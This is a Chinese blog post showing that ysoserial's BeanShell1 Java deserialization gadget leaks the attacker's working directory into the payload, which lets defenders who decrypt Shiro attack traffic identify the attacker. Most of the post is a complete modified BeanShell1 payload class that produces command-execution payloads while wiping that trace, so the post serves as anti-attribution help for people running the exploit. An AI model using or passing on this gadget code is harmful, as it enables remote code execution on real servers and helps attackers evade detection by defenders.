
有一个gadget正在泄露你的ID
0x01 背景
在Java反序列化漏洞炙手可热的当下,许多自动化工具都在使用ysoserial的gadget。而这些gadget当中,有一个gadget正在偷偷泄露你的id — BeanShell1
BeanShell1泄露当前运行路径
这意味着经常使用shiro批量爆破gadget工具的小伙伴,蓝队同学可能解密下paylaod就能得到你的id了。
0x02 定位信息泄露属性
通过使用java-object-searcher搜索,找到敏感信息存储在bsh.NameSpace
类的variables
属性中。
存储当前运行路径的属性
通过阅读该类代码,发现只有setTypedVariable
方法对variables
进行put
操作,在该处下断点。
重新调式,看到当前运行路径
被put进来后,顺着调用堆栈往上分析。发现BeanShell1
在Interpreter
对象初始化时,调用bsh.Interpreter#initRootSystemObject
设置了bsh.cwd
值为当前运行路径
,最终它被保存到了序列化数据中。
获取当前运行路径
0x03 构造干净的BeanShell1
既然Interpreter
对象通过setu
方法存储了敏感信息,那么我们同样可以调用该方法将敏感信息覆盖掉,防止信息泄露。
所以要构造一个干净的BeanShell1 gadget,只需要在Interpreter
对象创建后反射调用setu
方法覆盖bsh.cwd
值为.
(第13-15行代码)即可。
@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.beanshell:bsh:2.0b5" }) @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> { public PriorityQueue getObject(String command) throws Exception { // BeanShell payload String payload = BeanShellUtil.getPayload(command); // Create Interpreter Interpreter i = new Interpreter(); /***** 覆盖bsh.cwd,清空user.dir,防止信息泄露 *****/ Method setu = i.getClass().getDeclaredMethod("setu",new Class[]{String.class,Object.class}); setu.setAccessible(true); setu.invoke(i,new Object[]{"bsh.cwd","."}); /***********************************************/ // Evaluate payload i.eval(payload); // Create InvocationHandler XThis xt = new XThis(i.getNameSpace(), i); InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); // Create Comparator Proxy Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler); // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); Object[] queue = new Object[] {1,1}; Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue; } }
目前已经给ysoserial
项目pr,等待官方修复。当然大家也可以使用我二次开发的ysoserial-for-woopecker。
给官方提的pr
[超站]友情链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/

随时掌握互联网精彩
- 1 把最好的精神食粮奉献给人民 7971082
- 2 DeepSeek评中国最宜居城市 7997716
- 3 网友呼吁《难哄》下架 7880580
- 4 手机国补满月 持续点燃消费热潮 7787446
- 5 民警建议家里不要安装摄像头 7606267
- 6 《哪吒2》票房破128亿 7538211
- 7 #平台为骑手缴社保外卖员们怎么看# 7402312
- 8 颜宁拟获中国女性至高荣誉 7311011
- 9 7旬老太网恋1个月被骗111万 7293476
- 10 女子怀孕5个月被诊所当妇科病治疗 7154966